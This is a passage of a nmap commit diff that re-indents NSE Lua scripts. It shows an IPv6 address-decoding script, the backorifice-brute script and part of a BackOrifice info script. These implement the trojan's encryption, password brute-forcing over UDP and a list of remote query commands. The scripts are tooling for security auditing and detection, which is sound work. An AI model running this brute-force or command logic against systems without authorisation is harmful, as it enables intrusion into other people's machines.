1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-07 13:11:28 +00:00

Final re-indent for scripts.

This commit is contained in:
dmiller
2014-02-02 15:33:39 +00:00
parent d309fecd12
commit 31a2c432e1
43 changed files with 10426 additions and 10426 deletions

View File

@@ -118,60 +118,60 @@ categories = {"default", "safe"}
hostrule = function(host) hostrule = function(host)
return true return true
end end
-- Match an address (array of bytes) against a hex-encoded pattern. "XX" in the -- Match an address (array of bytes) against a hex-encoded pattern. "XX" in the
-- pattern is a wildcard. -- pattern is a wildcard.
local function matches(addr, pattern) local function matches(addr, pattern)
local octet_patterns local octet_patterns
octet_patterns = {} octet_patterns = {}
for op in pattern:gmatch("([%xX][%xX])") do for op in pattern:gmatch("([%xX][%xX])") do
octet_patterns[#octet_patterns + 1] = op octet_patterns[#octet_patterns + 1] = op
end end
if #addr ~= #octet_patterns then if #addr ~= #octet_patterns then
return false return false
end end
for i = 1, #addr do for i = 1, #addr do
local a, op local a, op
a = addr[i] a = addr[i]
op = octet_patterns[i] op = octet_patterns[i]
if not (op == "XX" or a == tonumber(op, 16)) then if not (op == "XX" or a == tonumber(op, 16)) then
return false return false
end end
end end
return true return true
end end
local function get_manuf(mac) local function get_manuf(mac)
local catch = function() return "Unknown" end local catch = function() return "Unknown" end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local mac_prefixes = try(datafiles.parse_mac_prefixes()) local mac_prefixes = try(datafiles.parse_mac_prefixes())
local prefix = string.upper(string.format("%02x%02x%02x", mac[1], mac[2], mac[3])) local prefix = string.upper(string.format("%02x%02x%02x", mac[1], mac[2], mac[3]))
return mac_prefixes[prefix] or "Unknown" return mac_prefixes[prefix] or "Unknown"
end end
local function format_mac(mac) local function format_mac(mac)
local out = stdnse.output_table() local out = stdnse.output_table()
out.address = stdnse.format_mac(string.char(table.unpack(mac))) out.address = stdnse.format_mac(string.char(table.unpack(mac)))
out.manuf = get_manuf(mac) out.manuf = get_manuf(mac)
return out return out
end end
local function format_ipv4(ipv4) local function format_ipv4(ipv4)
local octets local octets
octets = {} octets = {}
for _, v in ipairs(ipv4) do for _, v in ipairs(ipv4) do
octets[#octets + 1] = string.format("%d", v) octets[#octets + 1] = string.format("%d", v)
end end
return stdnse.strjoin(".", octets) return stdnse.strjoin(".", octets)
end end
local function do_ipv4(addr) local function do_ipv4(addr)
@@ -179,120 +179,120 @@ end
-- EUI-64 from MAC, RFC 4291. -- EUI-64 from MAC, RFC 4291.
local function decode_eui_64(eui_64) local function decode_eui_64(eui_64)
if eui_64[4] == 0xff and eui_64[5] == 0xfe then if eui_64[4] == 0xff and eui_64[5] == 0xfe then
return { bit.bxor(eui_64[1], 0x02), return { bit.bxor(eui_64[1], 0x02),
eui_64[2], eui_64[3], eui_64[6], eui_64[7], eui_64[8] } eui_64[2], eui_64[3], eui_64[6], eui_64[7], eui_64[8] }
end end
end end
local function do_ipv6(addr) local function do_ipv6(addr)
local label local label
local output local output
output = stdnse.output_table() output = stdnse.output_table()
if matches(addr, "0000:0000:0000:0000:0000:0000:0000:0001") then if matches(addr, "0000:0000:0000:0000:0000:0000:0000:0001") then
-- ::1 is localhost. Not much to report. -- ::1 is localhost. Not much to report.
return nil return nil
elseif matches(addr, "0000:0000:0000:0000:0000:0000:XXXX:XXXX") then elseif matches(addr, "0000:0000:0000:0000:0000:0000:XXXX:XXXX") then
-- RFC 4291 2.5.5.1. -- RFC 4291 2.5.5.1.
local ipv4 = { addr[13], addr[14], addr[15], addr[16] } local ipv4 = { addr[13], addr[14], addr[15], addr[16] }
return {["IPv4-compatible"]= { ["IPv4 address"] = format_ipv4(ipv4) } } return {["IPv4-compatible"]= { ["IPv4 address"] = format_ipv4(ipv4) } }
elseif matches(addr, "0000:0000:0000:0000:0000:ffff:XXXX:XXXX") then elseif matches(addr, "0000:0000:0000:0000:0000:ffff:XXXX:XXXX") then
-- RFC 4291 2.5.5.2. -- RFC 4291 2.5.5.2.
local ipv4 = { addr[13], addr[14], addr[15], addr[16] } local ipv4 = { addr[13], addr[14], addr[15], addr[16] }
return {["IPv4-mapped"]= { ["IPv4 address"] = format_ipv4(ipv4) } } return {["IPv4-mapped"]= { ["IPv4 address"] = format_ipv4(ipv4) } }
elseif matches(addr, "2001:0000:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then elseif matches(addr, "2001:0000:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then
-- Teredo, RFC 4380. -- Teredo, RFC 4380.
local server_ipv4 = { addr[5], addr[6], addr[7], addr[8] } local server_ipv4 = { addr[5], addr[6], addr[7], addr[8] }
-- RFC 5991 makes the flags mostly meaningless. -- RFC 5991 makes the flags mostly meaningless.
local flags = addr[9] * 256 + addr[10] local flags = addr[9] * 256 + addr[10]
local obs_port = addr[11] * 256 + addr[12] local obs_port = addr[11] * 256 + addr[12]
local obs_client_ipv4 = { addr[13], addr[14], addr[15], addr[16] } local obs_client_ipv4 = { addr[13], addr[14], addr[15], addr[16] }
local port, client_ipv4 local port, client_ipv4
-- Invert obs_port. -- Invert obs_port.
port = bit.bxor(obs_port, 0xffff) port = bit.bxor(obs_port, 0xffff)
-- Invert obs_client_ipv4. -- Invert obs_client_ipv4.
client_ipv4 = {} client_ipv4 = {}
for _, octet in ipairs(obs_client_ipv4) do for _, octet in ipairs(obs_client_ipv4) do
client_ipv4[#client_ipv4 + 1] = bit.bxor(octet, 0xff) client_ipv4[#client_ipv4 + 1] = bit.bxor(octet, 0xff)
end end
output["Server IPv4 address"] = format_ipv4(server_ipv4) output["Server IPv4 address"] = format_ipv4(server_ipv4)
output["Client IPv4 address"] = format_ipv4(client_ipv4) output["Client IPv4 address"] = format_ipv4(client_ipv4)
output["UDP port"] = tostring(port) output["UDP port"] = tostring(port)
return {["Teredo"] = output} return {["Teredo"] = output}
elseif matches(addr, "0064:ff9b:XXXX:XXXX:00XX:XXXX:XXXX:XXXX") then elseif matches(addr, "0064:ff9b:XXXX:XXXX:00XX:XXXX:XXXX:XXXX") then
--IPv4-embedded IPv6 addresses. RFC 6052, Section 2 --IPv4-embedded IPv6 addresses. RFC 6052, Section 2
--skip addr[9] --skip addr[9]
if matches(addr,"0064:ff9b:0000:0000:0000:0000:XXXX:XXXX") then if matches(addr,"0064:ff9b:0000:0000:0000:0000:XXXX:XXXX") then
local ipv4 = {addr[13], addr[14], addr[15], addr[16]} local ipv4 = {addr[13], addr[14], addr[15], addr[16]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}} return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[5] ~= 0x01 then elseif addr[5] ~= 0x01 then
local ipv4 = {addr[5], addr[6], addr[7], addr[8]} local ipv4 = {addr[5], addr[6], addr[7], addr[8]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}} return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[6] ~= 0x22 then elseif addr[6] ~= 0x22 then
local ipv4 = {addr[6], addr[7], addr[8], addr[10]} local ipv4 = {addr[6], addr[7], addr[8], addr[10]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}} return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[7] ~= 0x03 then elseif addr[7] ~= 0x03 then
local ipv4 = {addr[7], addr[8], addr[10], addr[11]} local ipv4 = {addr[7], addr[8], addr[10], addr[11]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}} return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[8] ~= 0x44 then elseif addr[8] ~= 0x44 then
local ipv4 = {addr[8], addr[10], addr[11], addr[12]} local ipv4 = {addr[8], addr[10], addr[11], addr[12]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}} return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
elseif addr[10] == 0x00 and addr[11] == 0x00 and addr[12] == 0x00 then elseif addr[10] == 0x00 and addr[11] == 0x00 and addr[12] == 0x00 then
local ipv4 = {addr[13], addr[14], addr[15], addr[16]} local ipv4 = {addr[13], addr[14], addr[15], addr[16]}
return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}} return {["IPv4-embedded IPv6 address"]= {["IPv4 address"] = format_ipv4(ipv4)}}
end end
elseif matches(addr, "0000:0000:0000:0000:ffff:0000:XXXX:XXXX") then elseif matches(addr, "0000:0000:0000:0000:ffff:0000:XXXX:XXXX") then
-- IPv4-translated IPv6 addresses. RFC 2765, Section 2.1 -- IPv4-translated IPv6 addresses. RFC 2765, Section 2.1
return {["IPv4-translated IPv6 address"]= return {["IPv4-translated IPv6 address"]=
{["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}} {["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}}
elseif matches(addr, "XXXX:XXXX:XXXX:XX00:0000:5efe:XXXX:XXXX") then elseif matches(addr, "XXXX:XXXX:XXXX:XX00:0000:5efe:XXXX:XXXX") then
-- ISATAP. RFC 5214, Appendix A -- ISATAP. RFC 5214, Appendix A
-- XXXX:XXXX:XXXX:XX00:0000:5EFE:a.b.c.d -- XXXX:XXXX:XXXX:XX00:0000:5EFE:a.b.c.d
return {["ISATAP Modified EUI-64 IPv6 Address"]= return {["ISATAP Modified EUI-64 IPv6 Address"]=
{["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}} {["IPv4 address"] = format_ipv4( {addr[13], addr[14], addr[15], addr[16]})}}
end end
-- These following use common handling for the Interface ID part -- These following use common handling for the Interface ID part
-- (last 64 bits). -- (last 64 bits).
if matches(addr, "2002:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then if matches(addr, "2002:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX") then
-- 6to4, RFC 3056. -- 6to4, RFC 3056.
local ipv4 = { addr[3], addr[4], addr[5], addr[6] } local ipv4 = { addr[3], addr[4], addr[5], addr[6] }
local mac = decode_eui_64({ addr[9], addr[10], addr[11], addr[12], local mac = decode_eui_64({ addr[9], addr[10], addr[11], addr[12],
addr[13], addr[14], addr[15], addr[16] }) addr[13], addr[14], addr[15], addr[16] })
label = "6to4" label = "6to4"
output["IPv4 address"] = format_ipv4(ipv4) output["IPv4 address"] = format_ipv4(ipv4)
end end
local mac = decode_eui_64({ addr[9], addr[10], addr[11], addr[12], local mac = decode_eui_64({ addr[9], addr[10], addr[11], addr[12],
addr[13], addr[14], addr[15], addr[16] }) addr[13], addr[14], addr[15], addr[16] })
if mac then if mac then
output["MAC address"] = format_mac(mac) output["MAC address"] = format_mac(mac)
if not label then if not label then
label = "IPv6 EUI-64" label = "IPv6 EUI-64"
end end
end end
return {[label]= output} return {[label]= output}
end end
action = function(host) action = function(host)
local addr_s, addr_t local addr_s, addr_t
addr_s = host.bin_ip addr_s = host.bin_ip
addr_t = { string.byte(addr_s, 1, #addr_s) } addr_t = { string.byte(addr_s, 1, #addr_s) }
if #addr_t == 4 then if #addr_t == 4 then
return do_ipv4(addr_t) return do_ipv4(addr_t)
elseif #addr_t == 16 then elseif #addr_t == 16 then
return do_ipv6(addr_t) return do_ipv6(addr_t)
end end
end end

View File

@@ -50,249 +50,249 @@ categories = {"intrusive", "brute"}
-- This portrule succeeds only when the open|filtered port is in the port range -- This portrule succeeds only when the open|filtered port is in the port range
-- which is specified by the ports script argument -- which is specified by the ports script argument
portrule = function(host, port) portrule = function(host, port)
if not stdnse.get_script_args(SCRIPT_NAME .. ".ports") then if not stdnse.get_script_args(SCRIPT_NAME .. ".ports") then
stdnse.print_debug(3,"Skipping '%s' %s, 'ports' argument is missing.",SCRIPT_NAME, SCRIPT_TYPE) stdnse.print_debug(3,"Skipping '%s' %s, 'ports' argument is missing.",SCRIPT_NAME, SCRIPT_TYPE)
return false return false
end end
local ports = stdnse.get_script_args(SCRIPT_NAME .. ".ports") local ports = stdnse.get_script_args(SCRIPT_NAME .. ".ports")
--print out a debug message if port 31337/udp is open --print out a debug message if port 31337/udp is open
if port.number==31337 and port.protocol == "udp" and not(ports) then if port.number==31337 and port.protocol == "udp" and not(ports) then
stdnse.print_debug("Port 31337/udp is open. Possibility of version detection and password bruteforcing using the backorifice-brute script") stdnse.print_debug("Port 31337/udp is open. Possibility of version detection and password bruteforcing using the backorifice-brute script")
return false return false
end end
return port.protocol == "udp" and stdnse.in_port_range(port, ports:gsub(",",",") ) and return port.protocol == "udp" and stdnse.in_port_range(port, ports:gsub(",",",") ) and
not(shortport.port_is_excluded(port.number,port.protocol)) not(shortport.port_is_excluded(port.number,port.protocol))
end end
local backorifice = local backorifice =
{ {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
--- Initializes the backorifice object --- Initializes the backorifice object
-- --
initialize = function(self) initialize = function(self)
--create socket --create socket
self.socket = nmap.new_socket("udp") self.socket = nmap.new_socket("udp")
self.socket:set_timeout(self.host.times.timeout * 1000) self.socket:set_timeout(self.host.times.timeout * 1000)
return true return true
end, end,
--- Attempts to send an encrypted PING packet to BackOrifice service --- Attempts to send an encrypted PING packet to BackOrifice service
-- --
-- @param password string containing password for encryption -- @param password string containing password for encryption
-- @param initial_seed number containing initial encryption seed -- @param initial_seed number containing initial encryption seed
-- @return status, true on success, false on failure -- @return status, true on success, false on failure
-- @return err string containing error message on failure -- @return err string containing error message on failure
try_password = function(self, password, initial_seed) try_password = function(self, password, initial_seed)
--initialize BackOrifice PING packet: |MAGICSTRING|size|packetID|TYPE_PING|arg1|arg_separat|arg2|CRC/disregarded| --initialize BackOrifice PING packet: |MAGICSTRING|size|packetID|TYPE_PING|arg1|arg_separat|arg2|CRC/disregarded|
local PING_PACKET = bin.pack("A<IICACAC", "*!*QWTY?", 19, 0, 0x01, "", 0x00, "", 0x00) local PING_PACKET = bin.pack("A<IICACAC", "*!*QWTY?", 19, 0, 0x01, "", 0x00, "", 0x00)
local seed, status, response, encrypted_ping local seed, status, response, encrypted_ping
if not(initial_seed) then if not(initial_seed) then
seed = self:gen_initial_seed(password) seed = self:gen_initial_seed(password)
else else
seed = initial_seed seed = initial_seed
end end
encrypted_ping = self:BOcrypt(PING_PACKET,seed) encrypted_ping = self:BOcrypt(PING_PACKET,seed)
status, response = self.socket:sendto(self.host.ip, self.port.number, encrypted_ping) status, response = self.socket:sendto(self.host.ip, self.port.number, encrypted_ping)
if not(status) then if not(status) then
return false, response return false, response
end end
status, response = self.socket:receive() status, response = self.socket:receive()
-- The first 8 bytes of both response and sent data are -- The first 8 bytes of both response and sent data are
-- magicstring = "*!*QWTY?", without the quotes, and since -- magicstring = "*!*QWTY?", without the quotes, and since
-- both are encrypted with the same initial seed, this is -- both are encrypted with the same initial seed, this is
-- how we verify we are talking to a BackOrifice service. -- how we verify we are talking to a BackOrifice service.
-- The statement is optimized so as not to decrypt unless -- The statement is optimized so as not to decrypt unless
-- comparison of encrypted magicstrings succeds -- comparison of encrypted magicstrings succeds
if status and response:sub(1,8) == encrypted_ping:sub(1,8) if status and response:sub(1,8) == encrypted_ping:sub(1,8)
and self:BOcrypt(response,seed):match("!PONG!(1%.20)!.*!") then and self:BOcrypt(response,seed):match("!PONG!(1%.20)!.*!") then
local BOversion, BOhostname = self:BOcrypt(response,seed):match("!PONG!(1%.20)!(.*)!") local BOversion, BOhostname = self:BOcrypt(response,seed):match("!PONG!(1%.20)!(.*)!")
self:insert_version_info(BOversion,BOhostname,nil,password) self:insert_version_info(BOversion,BOhostname,nil,password)
return true return true
else else
if not(status) then if not(status) then
return false, response return false, response
else else
return false,"Response not recognized." return false,"Response not recognized."
end end
end end
end, end,
--- Close the socket --- Close the socket
-- --
-- @return status true on success, false on failure -- @return status true on success, false on failure
close = function(self) close = function(self)
return self.socket:close() return self.socket:close()
end, end,
--- Generates the initial encryption seed from a password --- Generates the initial encryption seed from a password
-- --
-- @param password string containing password -- @param password string containing password
-- @return seed number containing initial seed -- @return seed number containing initial seed
gen_initial_seed = function(self, password) gen_initial_seed = function(self, password)
if password == nil then if password == nil then
return 31337 return 31337
else else
local y = #password local y = #password
local z = 0 local z = 0
for x = 1,y do for x = 1,y do
local pchar = string.byte(password,x) local pchar = string.byte(password,x)
z = z + pchar z = z + pchar
end end
for x=1,y do for x=1,y do
local pchar = string.byte(password,x) local pchar = string.byte(password,x)
if (x-1)%2 == 1 then if (x-1)%2 == 1 then
z = z - (pchar * (y-(x-1)+1)) z = z - (pchar * (y-(x-1)+1))
else else
z = z + (pchar * (y-(x-1)+1)) z = z + (pchar * (y-(x-1)+1))
end end
z = z % 0x7fffffff z = z % 0x7fffffff
end end
z = (z*y) % 0x7fffffff z = (z*y) % 0x7fffffff
return z return z
end end
end, end,
--- Generates next encryption seed from given seed --- Generates next encryption seed from given seed
-- --
-- @param seed number containing current seed -- @param seed number containing current seed
-- @return seed number containing next seed -- @return seed number containing next seed
gen_next_seed = function(self, seed) gen_next_seed = function(self, seed)
seed = seed*214013 + 2531011 seed = seed*214013 + 2531011
seed = bit.band(seed,0xffffff) seed = bit.band(seed,0xffffff)
return seed return seed
end, end,
--- Encrypts/decrypts data using BackOrifice algorithm --- Encrypts/decrypts data using BackOrifice algorithm
-- --
-- @param data binary string containing data to be encrypted/decrypted -- @param data binary string containing data to be encrypted/decrypted
-- @param initial_seed number containing initial encryption seed -- @param initial_seed number containing initial encryption seed
-- @return data binary string containing encrypted/decrypted data -- @return data binary string containing encrypted/decrypted data
BOcrypt = function(self, data, initial_seed ) BOcrypt = function(self, data, initial_seed )
if data==nil then return end if data==nil then return end
local output ="" local output =""
local seed = initial_seed local seed = initial_seed
local data_byte local data_byte
local crypto_byte local crypto_byte
for i = 1, #data do for i = 1, #data do
data_byte = string.byte(data,i) data_byte = string.byte(data,i)
--calculate next seed --calculate next seed
seed = self:gen_next_seed(seed) seed = self:gen_next_seed(seed)
--calculate encryption key based on seed --calculate encryption key based on seed
local key = bit.band(bit.arshift(seed,16), 0xff) local key = bit.band(bit.arshift(seed,16), 0xff)
crypto_byte = bit.bxor(data_byte,key) crypto_byte = bit.bxor(data_byte,key)
output = bin.pack("AC",output,crypto_byte) output = bin.pack("AC",output,crypto_byte)
--ARGSIZE limitation from BackOrifice server --ARGSIZE limitation from BackOrifice server
if i == 256 then break end if i == 256 then break end
end end
return output return output
end, end,
insert_version_info = function(self,BOversion,BOhostname,initial_seed,password) insert_version_info = function(self,BOversion,BOhostname,initial_seed,password)
if not self.port.version then self.port.version={} end if not self.port.version then self.port.version={} end
if not self.port.version.name then if not self.port.version.name then
self.port.version.name ="BackOrifice" self.port.version.name ="BackOrifice"
self.port.version.name_confidence = 10 self.port.version.name_confidence = 10
end end
if not self.port.version.product then self.port.version.product ="BackOrifice trojan" end if not self.port.version.product then self.port.version.product ="BackOrifice trojan" end
if not self.port.version.version then self.port.version.version = BOversion end if not self.port.version.version then self.port.version.version = BOversion end
if not self.port.version.extrainfo then if not self.port.version.extrainfo then
if not password then if not password then
if not initial_seed then if not initial_seed then
self.port.version.extrainfo = "no password" self.port.version.extrainfo = "no password"
else else
self.port.version.extrainfo = "initial encryption seed="..initial_seed self.port.version.extrainfo = "initial encryption seed="..initial_seed
end end
else else
self.port.version.extrainfo = "password="..password self.port.version.extrainfo = "password="..password
end end
end end
self.port.version.hostname = BOhostname self.port.version.hostname = BOhostname
if not self.port.version.ostype then self.port.version.ostype = "Windows" end if not self.port.version.ostype then self.port.version.ostype = "Windows" end
nmap.set_port_version(self.host, self.port) nmap.set_port_version(self.host, self.port)
nmap.set_port_state(self.host,self.port,"open") nmap.set_port_state(self.host,self.port,"open")
end end
} }
local Driver = local Driver =
{ {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
connect=function(self) connect=function(self)
--only initialize since BackOrifice service knows no connect() --only initialize since BackOrifice service knows no connect()
self.bo = backorifice:new(self.host,self.port) self.bo = backorifice:new(self.host,self.port)
self.bo:initialize() self.bo:initialize()
return true return true
end, end,
disconnect = function( self ) disconnect = function( self )
self.bo:close() self.bo:close()
end, end,
--- Attempts to send encrypted PING packet to BackOrifice service --- Attempts to send encrypted PING packet to BackOrifice service
-- --
-- @param username string containing username which is disregarded -- @param username string containing username which is disregarded
-- @param password string containing login password -- @param password string containing login password
-- @return brute.Error object on failure -- @return brute.Error object on failure
-- brute.Account object on success -- brute.Account object on success
login = function( self, username, password ) login = function( self, username, password )
local status, msg = self.bo:try_password(password,nil) local status, msg = self.bo:try_password(password,nil)
if status then if status then
if not(nmap.registry['credentials']) then if not(nmap.registry['credentials']) then
nmap.registry['credentials']={} nmap.registry['credentials']={}
end end
if ( not( nmap.registry.credentials['backorifice'] ) ) then if ( not( nmap.registry.credentials['backorifice'] ) ) then
nmap.registry.credentials['backorifice'] = {} nmap.registry.credentials['backorifice'] = {}
end end
table.insert( nmap.registry.credentials.backorifice, { password = password } ) table.insert( nmap.registry.credentials.backorifice, { password = password } )
return true, brute.Account:new("", password, creds.State.VALID) return true, brute.Account:new("", password, creds.State.VALID)
else else
-- The only indication that the password is incorrect is a timeout -- The only indication that the password is incorrect is a timeout
local err = brute.Error:new( "Incorrect password" ) local err = brute.Error:new( "Incorrect password" )
err:setRetry(false) err:setRetry(false)
return false, err return false, err
end end
end, end,
} }
action = function( host, port ) action = function( host, port )
local status, result local status, result
local engine = brute.Engine:new(Driver,host,port) local engine = brute.Engine:new(Driver,host,port)
engine.options.firstonly = true engine.options.firstonly = true
engine.options.passonly = true engine.options.passonly = true
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -85,240 +85,240 @@ local g_packet = 0
--"constants" --"constants"
local MAGICSTRING ="*!*QWTY?" local MAGICSTRING ="*!*QWTY?"
local TYPE = { local TYPE = {
ERROR = 0x00, ERROR = 0x00,
PARTIAL_PACKET = 0x80, PARTIAL_PACKET = 0x80,
CONTINUED_PACKET = 0x40, CONTINUED_PACKET = 0x40,
PING = 0x01, PING = 0x01,
SYSINFO = 0x06, SYSINFO = 0x06,
PROCESSLIST = 0x20, PROCESSLIST = 0x20,
NETVIEW = 0x39, NETVIEW = 0x39,
NETEXPORTLIST = 0x12, NETEXPORTLIST = 0x12,
REDIRLIST = 0x0D, REDIRLIST = 0x0D,
APPLIST = 0x3F, APPLIST = 0x3F,
PLUGINLIST = 0x2F PLUGINLIST = 0x2F
} }
--table of commands which have output --table of commands which have output
local cmds = { local cmds = {
{cmd_name="PING REPLY",p_code=TYPE.PING,arg1="",arg2="", {cmd_name="PING REPLY",p_code=TYPE.PING,arg1="",arg2="",
filter = function(data) filter = function(data)
data = string.gsub(data," ","") data = string.gsub(data," ","")
return data return data
end}, end},
{cmd_name="SYSTEM INFO",p_code=TYPE.SYSINFO,arg1="",arg2="", {cmd_name="SYSTEM INFO",p_code=TYPE.SYSINFO,arg1="",arg2="",
filter = function(data) filter = function(data)
if string.match(data,"End of system info") then return nil end if string.match(data,"End of system info") then return nil end
return data return data
end}, end},
{cmd_name="PROCESS LIST",p_code=TYPE.PROCESSLIST,arg1="",arg2="", {cmd_name="PROCESS LIST",p_code=TYPE.PROCESSLIST,arg1="",arg2="",
filter = function(data) filter = function(data)
if string.match(data,"End of processes") then return nil end if string.match(data,"End of processes") then return nil end
data = string.gsub(data,"pid","PID") data = string.gsub(data,"pid","PID")
return data return data
end}, end},
{cmd_name="NETWORK RESOURCES - NET VIEW",p_code=TYPE.NETVIEW,arg1="",arg2="", {cmd_name="NETWORK RESOURCES - NET VIEW",p_code=TYPE.NETVIEW,arg1="",arg2="",
filter = function(data) filter = function(data)
if string.match(data,"Network resources:") then return nil end if string.match(data,"Network resources:") then return nil end
if string.match(data,"End of resource list") then return nil end if string.match(data,"End of resource list") then return nil end
return data return data
end}, end},
{cmd_name="SHARELIST",p_code=TYPE.NETEXPORTLIST,arg1="",arg2="", {cmd_name="SHARELIST",p_code=TYPE.NETEXPORTLIST,arg1="",arg2="",
filter = function(data) filter = function(data)
if string.match(data,"Shares as returned by system:") then return nil end if string.match(data,"Shares as returned by system:") then return nil end
if string.match(data,"End of shares") then return nil end if string.match(data,"End of shares") then return nil end
return data return data
end}, end},
{cmd_name="REDIRECTED PORTS",p_code=TYPE.REDIRLIST,arg1="",arg2="", {cmd_name="REDIRECTED PORTS",p_code=TYPE.REDIRLIST,arg1="",arg2="",
filter = function(data) filter = function(data)
if string.match(data,"Redirected ports:%s") then return nil end if string.match(data,"Redirected ports:%s") then return nil end
return data return data
end}, end},
{cmd_name="LISTENING CONSOLE APPLICATIONS",p_code=TYPE.APPLIST,arg1="",arg2="", {cmd_name="LISTENING CONSOLE APPLICATIONS",p_code=TYPE.APPLIST,arg1="",arg2="",
filter = function(data) filter = function(data)
if string.match(data,"Active apps:") then return nil end if string.match(data,"Active apps:") then return nil end
return data return data
end}, end},
-- I !think! plugin list MUST be last because it causes problems server-side -- I !think! plugin list MUST be last because it causes problems server-side
{cmd_name="PLUGIN LIST",p_code=TYPE.PLUGINLIST,arg1="",arg2="", {cmd_name="PLUGIN LIST",p_code=TYPE.PLUGINLIST,arg1="",arg2="",
filter = function(data) filter = function(data)
if string.match(data,"Plugins:") then return nil end if string.match(data,"Plugins:") then return nil end
return data return data
end} end}
} }
local function gen_next_seed(seed) local function gen_next_seed(seed)
seed = seed*214013 + 2531011 seed = seed*214013 + 2531011
seed = bit.band(seed,0xffffff) seed = bit.band(seed,0xffffff)
return seed return seed
end end
local function gen_initial_seed(password) local function gen_initial_seed(password)
if password == nil then if password == nil then
return 31337 return 31337
else else
local y = #password local y = #password
local z = 0 local z = 0
for x = 1,y do for x = 1,y do
local pchar = string.byte(password,x) local pchar = string.byte(password,x)
z = z + pchar z = z + pchar
end end
for x=1,y do for x=1,y do
local pchar = string.byte(password,x) local pchar = string.byte(password,x)
if (x-1)%2 == 1 then if (x-1)%2 == 1 then
z = z - (pchar * (y-(x-1)+1)) z = z - (pchar * (y-(x-1)+1))
else else
z = z + (pchar * (y-(x-1)+1)) z = z + (pchar * (y-(x-1)+1))
end end
z = z % 0x7fffffff z = z % 0x7fffffff
end end
z = (z*y) % 0x7fffffff z = (z*y) % 0x7fffffff
return z return z
end end
end end
--BOcrypt returns encrypted/decrypted data --BOcrypt returns encrypted/decrypted data
local function BOcrypt(data, password, initial_seed ) local function BOcrypt(data, password, initial_seed )
local output ="" local output =""
if data==nil then return end if data==nil then return end
local seed local seed
if(initial_seed == nil) then if(initial_seed == nil) then
--calculate initial seed --calculate initial seed
seed = gen_initial_seed(password) seed = gen_initial_seed(password)
else else
--in case initial seed is set by backorifice brute --in case initial seed is set by backorifice brute
seed = initial_seed seed = initial_seed
end end
local data_byte local data_byte
local crypto_byte local crypto_byte
for i = 1, #data do for i = 1, #data do
data_byte = string.byte(data,i) data_byte = string.byte(data,i)
--calculate next seed --calculate next seed
seed = gen_next_seed(seed) seed = gen_next_seed(seed)
--calculate encryption key based on seed --calculate encryption key based on seed
local key = bit.band(bit.arshift(seed,16), 0xff) local key = bit.band(bit.arshift(seed,16), 0xff)
crypto_byte = bit.bxor(data_byte,key) crypto_byte = bit.bxor(data_byte,key)
output = bin.pack("AC",output,crypto_byte) output = bin.pack("AC",output,crypto_byte)
if i == 256 then break end --ARGSIZE limitation if i == 256 then break end --ARGSIZE limitation
end end
return output return output
end end
local function BOpack(type_packet, str1, str2) local function BOpack(type_packet, str1, str2)
-- create BO packet -- create BO packet
local data = "" local data = ""
local size = #MAGICSTRING + 4*2 + 3 + #str1 + #str2 local size = #MAGICSTRING + 4*2 + 3 + #str1 + #str2
data = bin.pack("A<IICACAC",MAGICSTRING,size,g_packet,type_packet,str1,0x00,str2,0x00) data = bin.pack("A<IICACAC",MAGICSTRING,size,g_packet,type_packet,str1,0x00,str2,0x00)
g_packet = g_packet + 1 g_packet = g_packet + 1
return data return data
end end
local function BOunpack(packet) local function BOunpack(packet)
local pos, magic = bin.unpack("A8",packet) local pos, magic = bin.unpack("A8",packet)
if magic ~= MAGICSTRING then return nil,TYPE.ERROR end --received non-BO packet if magic ~= MAGICSTRING then return nil,TYPE.ERROR end --received non-BO packet
local packetsize, packetid, type_packet, data local packetsize, packetid, type_packet, data
pos, packetsize, packetid, type_packet = bin.unpack("<IIC",packet,pos) pos, packetsize, packetid, type_packet = bin.unpack("<IIC",packet,pos)
pos, data = bin.unpack("A"..(packetsize-pos-1),packet,pos) pos, data = bin.unpack("A"..(packetsize-pos-1),packet,pos)
return data, type_packet return data, type_packet
end end
local function insert_version_info(host,port,BOversion,BOhostname,initial_seed,password) local function insert_version_info(host,port,BOversion,BOhostname,initial_seed,password)
if(port.version==nil) then port.version={} end if(port.version==nil) then port.version={} end
if(port.version.name==nil) then if(port.version.name==nil) then
port.version.name ="BackOrifice" port.version.name ="BackOrifice"
port.version.name_confidence = 10 port.version.name_confidence = 10
end end
if(port.version.product==nil) then port.version.product ="BackOrifice trojan" end if(port.version.product==nil) then port.version.product ="BackOrifice trojan" end
if(port.version.version == nil) then port.version.version = BOversion end if(port.version.version == nil) then port.version.version = BOversion end
if(port.version.extrainfo == nil) then if(port.version.extrainfo == nil) then
if password == nil then if password == nil then
if initial_seed == nil then if initial_seed == nil then
